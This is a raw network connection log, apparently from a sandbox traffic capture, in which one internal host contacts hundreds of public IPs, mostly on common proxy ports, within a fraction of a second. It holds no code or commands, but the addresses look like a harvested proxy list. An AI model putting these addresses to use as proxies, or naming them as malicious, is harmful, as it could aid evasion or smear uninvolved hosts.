Feb 23, 2024 09:45:16.144292116 CET	50423	4145	192.168.2.4	177.184.72.22
Feb 23, 2024 09:45:16.144476891 CET	50424	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:16.144812107 CET	80	50133	223.27.144.51	192.168.2.4
Feb 23, 2024 09:45:16.144850969 CET	50425	80	192.168.2.4	18.135.133.116
Feb 23, 2024 09:45:16.145906925 CET	50426	80	192.168.2.4	68.188.59.198
Feb 23, 2024 09:45:16.145940065 CET	50427	80	192.168.2.4	50.222.245.40
Feb 23, 2024 09:45:16.146612883 CET	50428	3128	192.168.2.4	154.202.110.13
Feb 23, 2024 09:45:16.146727085 CET	49799	32323	192.168.2.4	103.214.112.238
Feb 23, 2024 09:45:16.146754980 CET	80	50348	45.12.31.3	192.168.2.4
Feb 23, 2024 09:45:16.146791935 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:16.146795034 CET	49803	42823	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:16.146821022 CET	50348	80	192.168.2.4	45.12.31.3
Feb 23, 2024 09:45:16.148005009 CET	5769	49944	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:16.148080111 CET	8000	50183	128.199.252.22	192.168.2.4
Feb 23, 2024 09:45:16.149002075 CET	30464	50249	51.79.87.144	192.168.2.4
Feb 23, 2024 09:45:16.149730921 CET	8989	50211	47.56.110.204	192.168.2.4
Feb 23, 2024 09:45:16.149781942 CET	4145	49864	72.37.216.68	192.168.2.4
Feb 23, 2024 09:45:16.149842978 CET	50211	8989	192.168.2.4	47.56.110.204
Feb 23, 2024 09:45:16.153390884 CET	8888	49796	47.114.101.57	192.168.2.4
Feb 23, 2024 09:45:16.156683922 CET	80	49946	50.174.214.218	192.168.2.4
Feb 23, 2024 09:45:16.156785965 CET	80	50239	104.25.114.28	192.168.2.4
Feb 23, 2024 09:45:16.158010960 CET	2011	50345	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.158761978 CET	4153	50199	103.117.109.9	192.168.2.4
Feb 23, 2024 09:45:16.160984993 CET	3128	49853	46.101.102.134	192.168.2.4
Feb 23, 2024 09:45:16.162043095 CET	80	50243	104.17.37.235	192.168.2.4
Feb 23, 2024 09:45:16.162378073 CET	49982	1611	192.168.2.4	72.10.160.170
Feb 23, 2024 09:45:16.166740894 CET	50348	80	192.168.2.4	45.12.31.3
Feb 23, 2024 09:45:16.166740894 CET	50211	8989	192.168.2.4	47.56.110.204
Feb 23, 2024 09:45:16.167469978 CET	50429	32650	192.168.2.4	41.217.220.69
Feb 23, 2024 09:45:16.168103933 CET	15673	50287	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.168355942 CET	80	50369	203.30.189.103	192.168.2.4
Feb 23, 2024 09:45:16.168430090 CET	50369	80	192.168.2.4	203.30.189.103
Feb 23, 2024 09:45:16.168574095 CET	15673	50287	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.168772936 CET	50430	8123	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.168783903 CET	50369	80	192.168.2.4	203.30.189.103
Feb 23, 2024 09:45:16.169744968 CET	50431	30783	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.169986963 CET	50432	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.170383930 CET	50433	58630	192.168.2.4	51.81.186.179
Feb 23, 2024 09:45:16.171034098 CET	50434	26789	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:16.171382904 CET	3128	50325	167.71.5.83	192.168.2.4
Feb 23, 2024 09:45:16.171466112 CET	50325	3128	192.168.2.4	167.71.5.83
Feb 23, 2024 09:45:16.171825886 CET	50325	3128	192.168.2.4	167.71.5.83
Feb 23, 2024 09:45:16.171910048 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:16.172228098 CET	65201	50214	149.28.141.180	192.168.2.4
Feb 23, 2024 09:45:16.172327995 CET	50214	65201	192.168.2.4	149.28.141.180
Feb 23, 2024 09:45:16.172629118 CET	50436	26939	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.172734022 CET	50214	65201	192.168.2.4	149.28.141.180
Feb 23, 2024 09:45:16.172880888 CET	80	50372	172.67.250.212	192.168.2.4
Feb 23, 2024 09:45:16.173105001 CET	50372	80	192.168.2.4	172.67.250.212
Feb 23, 2024 09:45:16.173171997 CET	50437	16379	192.168.2.4	51.15.254.129
Feb 23, 2024 09:45:16.173682928 CET	50372	80	192.168.2.4	172.67.250.212
Feb 23, 2024 09:45:16.173733950 CET	50438	80	192.168.2.4	50.230.222.202
Feb 23, 2024 09:45:16.174304962 CET	3128	50164	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.174321890 CET	3128	50164	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.174370050 CET	10801	50296	95.111.91.50	192.168.2.4
Feb 23, 2024 09:45:16.174491882 CET	50439	1287	192.168.2.4	174.141.233.168
Feb 23, 2024 09:45:16.174812078 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.175254107 CET	50440	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.175671101 CET	50441	8080	192.168.2.4	193.34.95.110
Feb 23, 2024 09:45:16.176544905 CET	50442	80	192.168.2.4	103.75.117.79
Feb 23, 2024 09:45:16.176721096 CET	50443	80	192.168.2.4	146.190.177.143
Feb 23, 2024 09:45:16.177241087 CET	50444	8080	192.168.2.4	117.3.202.140
Feb 23, 2024 09:45:16.177689075 CET	3128	50257	195.158.16.9	192.168.2.4
Feb 23, 2024 09:45:16.178198099 CET	49749	80	192.168.2.4	96.113.159.162
Feb 23, 2024 09:45:16.181267023 CET	80	50262	104.16.226.6	192.168.2.4
Feb 23, 2024 09:45:16.182980061 CET	20481	50075	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.185261011 CET	4153	50194	184.82.142.201	192.168.2.4
Feb 23, 2024 09:45:16.188143015 CET	80	50327	104.16.25.216	192.168.2.4
Feb 23, 2024 09:45:16.188162088 CET	80	50327	104.16.25.216	192.168.2.4
Feb 23, 2024 09:45:16.188617945 CET	80	50327	104.16.25.216	192.168.2.4
Feb 23, 2024 09:45:16.191045046 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.191137075 CET	50327	80	192.168.2.4	104.16.25.216
Feb 23, 2024 09:45:16.193754911 CET	49812	5678	192.168.2.4	182.93.69.74
Feb 23, 2024 09:45:16.193761110 CET	49994	14313	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.193762064 CET	49765	18681	192.168.2.4	67.43.228.250
Feb 23, 2024 09:45:16.193762064 CET	49809	51040	192.168.2.4	104.248.151.220
Feb 23, 2024 09:45:16.193767071 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:16.193769932 CET	49816	5678	192.168.2.4	136.228.160.250
Feb 23, 2024 09:45:16.196644068 CET	12519	49884	132.148.128.8	192.168.2.4
Feb 23, 2024 09:45:16.198133945 CET	8123	50236	20.205.61.143	192.168.2.4
Feb 23, 2024 09:45:16.200458050 CET	50236	8123	192.168.2.4	20.205.61.143
Feb 23, 2024 09:45:16.205782890 CET	17182	49775	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:16.206710100 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.206834078 CET	80	50233	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.206999063 CET	80	50233	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.208009958 CET	20481	50333	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.208097935 CET	50333	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.208548069 CET	80	50400	185.162.228.128	192.168.2.4
Feb 23, 2024 09:45:16.208713055 CET	50400	80	192.168.2.4	185.162.228.128
Feb 23, 2024 09:45:16.209254026 CET	49895	8080	192.168.2.4	171.97.12.175
Feb 23, 2024 09:45:16.212083101 CET	80	49981	221.194.149.8	192.168.2.4
Feb 23, 2024 09:45:16.213105917 CET	80	50318	82.208.111.19	192.168.2.4
Feb 23, 2024 09:45:16.213242054 CET	80	50408	185.162.228.154	192.168.2.4
Feb 23, 2024 09:45:16.213329077 CET	50318	80	192.168.2.4	82.208.111.19
Feb 23, 2024 09:45:16.213329077 CET	50408	80	192.168.2.4	185.162.228.154
Feb 23, 2024 09:45:16.214291096 CET	2955	50397	72.10.160.172	192.168.2.4
Feb 23, 2024 09:45:16.215176105 CET	80	50280	104.22.1.113	192.168.2.4
Feb 23, 2024 09:45:16.217216015 CET	9000	50040	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.217483044 CET	9000	50040	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.217540979 CET	50040	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.220000982 CET	31979	49894	51.77.73.67	192.168.2.4
Feb 23, 2024 09:45:16.221867085 CET	3128	49870	91.149.224.168	192.168.2.4
Feb 23, 2024 09:45:16.222294092 CET	80	50295	162.159.242.8	192.168.2.4
Feb 23, 2024 09:45:16.223515987 CET	80	50359	50.172.39.98	192.168.2.4
Feb 23, 2024 09:45:16.224637032 CET	3129	50247	103.78.0.44	192.168.2.4
Feb 23, 2024 09:45:16.224884987 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:16.224905014 CET	49735	80	192.168.2.4	50.172.227.202
Feb 23, 2024 09:45:16.224905968 CET	49958	57520	192.168.2.4	41.242.90.3
Feb 23, 2024 09:45:16.224924088 CET	50247	3129	192.168.2.4	103.78.0.44
Feb 23, 2024 09:45:16.224931002 CET	49819	46859	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:16.224939108 CET	49820	52982	192.168.2.4	188.165.237.26
Feb 23, 2024 09:45:16.226072073 CET	39796	50347	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.227447033 CET	50347	39796	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.228712082 CET	8181	49852	188.235.0.207	192.168.2.4
Feb 23, 2024 09:45:16.228770018 CET	49852	8181	192.168.2.4	188.235.0.207
Feb 23, 2024 09:45:16.231431961 CET	3128	50362	144.21.53.111	192.168.2.4
Feb 23, 2024 09:45:16.231491089 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:16.231759071 CET	30000	50341	161.97.74.176	192.168.2.4
Feb 23, 2024 09:45:16.231820107 CET	50341	30000	192.168.2.4	161.97.74.176
Feb 23, 2024 09:45:16.235229969 CET	8080	50216	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.235245943 CET	8080	50216	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.235536098 CET	80	50363	35.185.254.159	192.168.2.4
Feb 23, 2024 09:45:16.236958027 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:16.237227917 CET	50327	80	192.168.2.4	104.16.25.216
Feb 23, 2024 09:45:16.237914085 CET	50445	3128	192.168.2.4	35.189.183.169
Feb 23, 2024 09:45:16.238692999 CET	50236	8123	192.168.2.4	20.205.61.143
Feb 23, 2024 09:45:16.238903999 CET	80	50330	50.200.12.86	192.168.2.4
Feb 23, 2024 09:45:16.240154028 CET	50400	80	192.168.2.4	185.162.228.128
Feb 23, 2024 09:45:16.240173101 CET	50333	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.240475893 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:16.240508080 CET	49824	5678	192.168.2.4	41.90.242.102
Feb 23, 2024 09:45:16.240508080 CET	49919	42325	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:16.240509033 CET	49826	30001	192.168.2.4	111.3.102.135
Feb 23, 2024 09:45:16.240566015 CET	12259	49742	128.199.221.91	192.168.2.4
Feb 23, 2024 09:45:16.240622044 CET	49822	23670	192.168.2.4	161.97.173.42
Feb 23, 2024 09:45:16.240622044 CET	50046	6441	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.240714073 CET	49823	3180	192.168.2.4	45.179.71.90
Feb 23, 2024 09:45:16.240714073 CET	49742	12259	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:16.241027117 CET	9002	50176	222.138.76.6	192.168.2.4
Feb 23, 2024 09:45:16.241581917 CET	50176	9002	192.168.2.4	222.138.76.6
Feb 23, 2024 09:45:16.242717028 CET	50040	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.243400097 CET	50446	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.245662928 CET	50318	80	192.168.2.4	82.208.111.19
Feb 23, 2024 09:45:16.245852947 CET	50247	3129	192.168.2.4	103.78.0.44
Feb 23, 2024 09:45:16.245950937 CET	50408	80	192.168.2.4	185.162.228.154
Feb 23, 2024 09:45:16.246048927 CET	80	50419	50.218.57.69	192.168.2.4
Feb 23, 2024 09:45:16.246063948 CET	10958	50291	132.148.154.97	192.168.2.4
Feb 23, 2024 09:45:16.246098042 CET	50447	999	192.168.2.4	45.231.221.193
Feb 23, 2024 09:45:16.246279955 CET	6005	50364	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.246282101 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:16.246345997 CET	50364	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.246383905 CET	50341	30000	192.168.2.4	161.97.74.176
Feb 23, 2024 09:45:16.246661901 CET	50347	39796	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.246675968 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.246752977 CET	50176	9002	192.168.2.4	222.138.76.6
Feb 23, 2024 09:45:16.246844053 CET	49742	12259	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:16.246942043 CET	10471	50266	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:16.247003078 CET	50266	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:16.247071028 CET	50266	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:16.247126102 CET	50364	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.252399921 CET	49852	8181	192.168.2.4	188.235.0.207
Feb 23, 2024 09:45:16.253297091 CET	50448	8080	192.168.2.4	103.125.154.233
Feb 23, 2024 09:45:16.253518105 CET	50449	80	192.168.2.4	104.19.85.214
Feb 23, 2024 09:45:16.254029036 CET	80	50348	45.12.31.3	192.168.2.4
Feb 23, 2024 09:45:16.254045010 CET	80	50348	45.12.31.3	192.168.2.4
Feb 23, 2024 09:45:16.254208088 CET	80	50348	45.12.31.3	192.168.2.4
Feb 23, 2024 09:45:16.254257917 CET	50348	80	192.168.2.4	45.12.31.3
Feb 23, 2024 09:45:16.254257917 CET	50348	80	192.168.2.4	45.12.31.3
Feb 23, 2024 09:45:16.254405022 CET	50450	4145	192.168.2.4	72.210.252.137
Feb 23, 2024 09:45:16.254775047 CET	50451	8080	192.168.2.4	195.128.96.213
Feb 23, 2024 09:45:16.256113052 CET	50052	8635	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.256119967 CET	50233	80	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.256134033 CET	50055	27645	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.256134033 CET	49995	54330	192.168.2.4	206.189.15.100
Feb 23, 2024 09:45:16.256150007 CET	49911	54450	192.168.2.4	171.226.88.162
Feb 23, 2024 09:45:16.256149054 CET	49832	3128	192.168.2.4	212.77.163.196
Feb 23, 2024 09:45:16.256154060 CET	49827	3128	192.168.2.4	154.83.10.137
Feb 23, 2024 09:45:16.256161928 CET	49828	8080	192.168.2.4	103.247.21.98
Feb 23, 2024 09:45:16.256182909 CET	50059	16703	192.168.2.4	72.10.160.93
Feb 23, 2024 09:45:16.256182909 CET	49999	31979	192.168.2.4	51.77.73.78
Feb 23, 2024 09:45:16.256185055 CET	49829	9090	192.168.2.4	189.240.60.171
Feb 23, 2024 09:45:16.256324053 CET	80	50369	203.30.189.103	192.168.2.4
Feb 23, 2024 09:45:16.256340027 CET	80	50369	203.30.189.103	192.168.2.4
Feb 23, 2024 09:45:16.256491899 CET	50369	80	192.168.2.4	203.30.189.103
Feb 23, 2024 09:45:16.257256031 CET	80	50369	203.30.189.103	192.168.2.4
Feb 23, 2024 09:45:16.257328033 CET	1611	49982	72.10.160.170	192.168.2.4
Feb 23, 2024 09:45:16.257349968 CET	50369	80	192.168.2.4	203.30.189.103
Feb 23, 2024 09:45:16.257455111 CET	3128	50371	44.226.167.102	192.168.2.4
Feb 23, 2024 09:45:16.257582903 CET	50371	3128	192.168.2.4	44.226.167.102
Feb 23, 2024 09:45:16.257987022 CET	50371	3128	192.168.2.4	44.226.167.102
Feb 23, 2024 09:45:16.258301973 CET	50452	8080	192.168.2.4	138.121.61.81
Feb 23, 2024 09:45:16.258804083 CET	32650	49789	154.79.254.236	192.168.2.4
Feb 23, 2024 09:45:16.258892059 CET	50453	1080	192.168.2.4	188.255.245.33
Feb 23, 2024 09:45:16.259418964 CET	6005	50101	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.259572029 CET	3256	49768	125.87.82.86	192.168.2.4
Feb 23, 2024 09:45:16.259795904 CET	50454	8000	192.168.2.4	14.103.24.20
Feb 23, 2024 09:45:16.260551929 CET	80	50372	172.67.250.212	192.168.2.4
Feb 23, 2024 09:45:16.260608912 CET	80	50372	172.67.250.212	192.168.2.4
Feb 23, 2024 09:45:16.260626078 CET	4145	49752	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.260639906 CET	4145	49752	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.260782003 CET	50372	80	192.168.2.4	172.67.250.212
Feb 23, 2024 09:45:16.260910988 CET	80	50372	172.67.250.212	192.168.2.4
Feb 23, 2024 09:45:16.261470079 CET	50372	80	192.168.2.4	172.67.250.212
Feb 23, 2024 09:45:16.262203932 CET	50455	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.262525082 CET	50456	55774	192.168.2.4	51.210.4.123
Feb 23, 2024 09:45:16.263078928 CET	8000	50309	183.100.14.134	192.168.2.4
Feb 23, 2024 09:45:16.263391972 CET	50309	8000	192.168.2.4	183.100.14.134
Feb 23, 2024 09:45:16.263391972 CET	50309	8000	192.168.2.4	183.100.14.134
Feb 23, 2024 09:45:16.263479948 CET	55606	50263	45.117.179.179	192.168.2.4
Feb 23, 2024 09:45:16.263601065 CET	50457	3128	192.168.2.4	193.151.109.129
Feb 23, 2024 09:45:16.263628960 CET	50263	55606	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:16.263739109 CET	50263	55606	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:16.264535904 CET	50458	52903	192.168.2.4	203.161.32.242
Feb 23, 2024 09:45:16.265027046 CET	30783	50431	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.265919924 CET	50459	4145	192.168.2.4	91.185.236.239
Feb 23, 2024 09:45:16.266360044 CET	50460	2191	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.266941071 CET	999	50388	191.97.16.160	192.168.2.4
Feb 23, 2024 09:45:16.268764019 CET	50461	10005	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.268764973 CET	50463	32650	192.168.2.4	41.217.220.214
Feb 23, 2024 09:45:16.268891096 CET	4145	49935	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:16.269371033 CET	50462	24606	192.168.2.4	161.97.170.209
Feb 23, 2024 09:45:16.269438982 CET	49935	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:16.269578934 CET	49935	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:16.269912958 CET	50464	80	192.168.2.4	172.67.200.220
Feb 23, 2024 09:45:16.270304918 CET	8080	50349	91.202.230.219	192.168.2.4
Feb 23, 2024 09:45:16.270549059 CET	50349	8080	192.168.2.4	91.202.230.219
Feb 23, 2024 09:45:16.270549059 CET	50349	8080	192.168.2.4	91.202.230.219
Feb 23, 2024 09:45:16.270859957 CET	50465	80	192.168.2.4	185.162.229.70
Feb 23, 2024 09:45:16.271228075 CET	4145	50410	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.271419048 CET	50410	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:16.271419048 CET	50410	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:16.271743059 CET	50069	25053	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.271773100 CET	50071	25341	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.271773100 CET	49837	80	192.168.2.4	159.65.245.255
Feb 23, 2024 09:45:16.271775007 CET	50000	3128	192.168.2.4	37.120.222.132
Feb 23, 2024 09:45:16.271776915 CET	49836	13629	192.168.2.4	113.53.29.228
Feb 23, 2024 09:45:16.271796942 CET	49830	1976	192.168.2.4	41.65.236.39
Feb 23, 2024 09:45:16.271801949 CET	49839	59341	192.168.2.4	200.6.175.10
Feb 23, 2024 09:45:16.271800995 CET	49838	5678	192.168.2.4	116.118.98.9
Feb 23, 2024 09:45:16.272948027 CET	50466	4145	192.168.2.4	103.105.40.241
Feb 23, 2024 09:45:16.273485899 CET	8080	50058	27.111.83.207	192.168.2.4
Feb 23, 2024 09:45:16.274606943 CET	4145	49945	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:16.274657965 CET	6745	50286	45.43.71.147	192.168.2.4
Feb 23, 2024 09:45:16.275902987 CET	1080	50274	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:16.275963068 CET	50274	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:16.276185036 CET	50274	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:16.276269913 CET	50467	8080	192.168.2.4	80.240.202.218
Feb 23, 2024 09:45:16.277647018 CET	50468	80	192.168.2.4	197.243.20.187
Feb 23, 2024 09:45:16.278857946 CET	50469	1080	192.168.2.4	27.65.116.243
Feb 23, 2024 09:45:16.279686928 CET	15673	50432	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.279752970 CET	50432	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.279874086 CET	50432	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.279947996 CET	50470	8888	192.168.2.4	103.179.182.159
Feb 23, 2024 09:45:16.280386925 CET	6788	50409	45.43.84.163	192.168.2.4
Feb 23, 2024 09:45:16.280558109 CET	50409	6788	192.168.2.4	45.43.84.163
Feb 23, 2024 09:45:16.280687094 CET	50409	6788	192.168.2.4	45.43.84.163
Feb 23, 2024 09:45:16.280781031 CET	49835	8080	192.168.2.4	107.178.9.186
Feb 23, 2024 09:45:16.281810999 CET	6969	50392	190.61.32.168	192.168.2.4
Feb 23, 2024 09:45:16.281824112 CET	50471	8081	192.168.2.4	185.49.31.207
Feb 23, 2024 09:45:16.282897949 CET	80	50426	68.188.59.198	192.168.2.4
Feb 23, 2024 09:45:16.283307076 CET	50472	4153	192.168.2.4	103.165.64.86
Feb 23, 2024 09:45:16.284596920 CET	50473	46449	192.168.2.4	94.232.11.178
Feb 23, 2024 09:45:16.286026001 CET	50474	80	192.168.2.4	13.209.156.241
Feb 23, 2024 09:45:16.287127018 CET	80	50406	149.202.172.113	192.168.2.4
Feb 23, 2024 09:45:16.287369967 CET	49840	46849	192.168.2.4	162.241.46.54
Feb 23, 2024 09:45:16.287378073 CET	50026	80	192.168.2.4	50.172.75.124
Feb 23, 2024 09:45:16.287415981 CET	49844	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:16.287420988 CET	49846	43110	192.168.2.4	89.22.17.62
Feb 23, 2024 09:45:16.288031101 CET	50475	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:16.289450884 CET	6438	50401	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.289619923 CET	50401	6438	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.289783955 CET	50401	6438	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.290317059 CET	14313	49994	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:16.290508032 CET	50476	1080	192.168.2.4	139.180.140.254
Feb 23, 2024 09:45:16.290620089 CET	34041	50393	185.225.200.247	192.168.2.4
Feb 23, 2024 09:45:16.291349888 CET	33429	50377	193.106.57.7	192.168.2.4
Feb 23, 2024 09:45:16.291810989 CET	49397	50435	172.93.111.87	192.168.2.4
Feb 23, 2024 09:45:16.291882038 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:16.292298079 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:16.292448997 CET	50477	8080	192.168.2.4	122.52.196.36
Feb 23, 2024 09:45:16.293771982 CET	50478	36076	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.295387030 CET	50479	3128	192.168.2.4	20.118.133.34
Feb 23, 2024 09:45:16.295746088 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.296709061 CET	50480	8080	192.168.2.4	186.123.26.79
Feb 23, 2024 09:45:16.298397064 CET	50481	80	192.168.2.4	50.173.140.145
Feb 23, 2024 09:45:16.299710035 CET	50482	8031	192.168.2.4	216.236.197.38
Feb 23, 2024 09:45:16.300088882 CET	80	50386	81.169.187.194	192.168.2.4
Feb 23, 2024 09:45:16.300198078 CET	50386	80	192.168.2.4	81.169.187.194
Feb 23, 2024 09:45:16.300230026 CET	7302	50032	221.134.152.75	192.168.2.4
Feb 23, 2024 09:45:16.300424099 CET	50386	80	192.168.2.4	81.169.187.194
Feb 23, 2024 09:45:16.300923109 CET	80	50425	18.135.133.116	192.168.2.4
Feb 23, 2024 09:45:16.300997019 CET	50425	80	192.168.2.4	18.135.133.116
Feb 23, 2024 09:45:16.301132917 CET	8089	50294	111.225.152.207	192.168.2.4
Feb 23, 2024 09:45:16.301192045 CET	50425	80	192.168.2.4	18.135.133.116
Feb 23, 2024 09:45:16.301958084 CET	50483	1981	192.168.2.4	144.91.89.245
Feb 23, 2024 09:45:16.302645922 CET	33427	49912	91.135.80.66	192.168.2.4
Feb 23, 2024 09:45:16.302990913 CET	49842	999	192.168.2.4	201.77.108.1
Feb 23, 2024 09:45:16.302994013 CET	49843	999	192.168.2.4	201.174.175.82
Feb 23, 2024 09:45:16.303199053 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.303227901 CET	49849	29466	192.168.2.4	66.228.33.190
Feb 23, 2024 09:45:16.303229094 CET	49855	4153	192.168.2.4	103.60.137.17
Feb 23, 2024 09:45:16.303313017 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.304176092 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.304311037 CET	50484	1080	192.168.2.4	213.5.197.61
Feb 23, 2024 09:45:16.304342985 CET	4145	49798	72.195.114.169	192.168.2.4
Feb 23, 2024 09:45:16.304400921 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:16.304627895 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:16.306169987 CET	50485	8085	192.168.2.4	103.153.63.211
Feb 23, 2024 09:45:16.306727886 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306745052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306787968 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306803942 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.306811094 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306828022 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306843996 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306859016 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306863070 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.306874990 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306884050 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.306915998 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.306931019 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306946039 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306960106 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.306998014 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.307368040 CET	80	50427	50.222.245.40	192.168.2.4
Feb 23, 2024 09:45:16.308530092 CET	50486	60870	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:16.308629990 CET	4145	50376	185.169.181.22	192.168.2.4
Feb 23, 2024 09:45:16.309608936 CET	50487	4145	192.168.2.4	61.247.25.231
Feb 23, 2024 09:45:16.310009003 CET	32770	49847	94.130.181.59	192.168.2.4
Feb 23, 2024 09:45:16.310024023 CET	32770	49847	94.130.181.59	192.168.2.4
Feb 23, 2024 09:45:16.310333967 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:16.314467907 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:16.314693928 CET	50488	1080	192.168.2.4	27.75.152.191
Feb 23, 2024 09:45:16.315817118 CET	50489	12922	192.168.2.4	209.216.90.208
Feb 23, 2024 09:45:16.316009045 CET	8080	49861	102.132.54.151	192.168.2.4
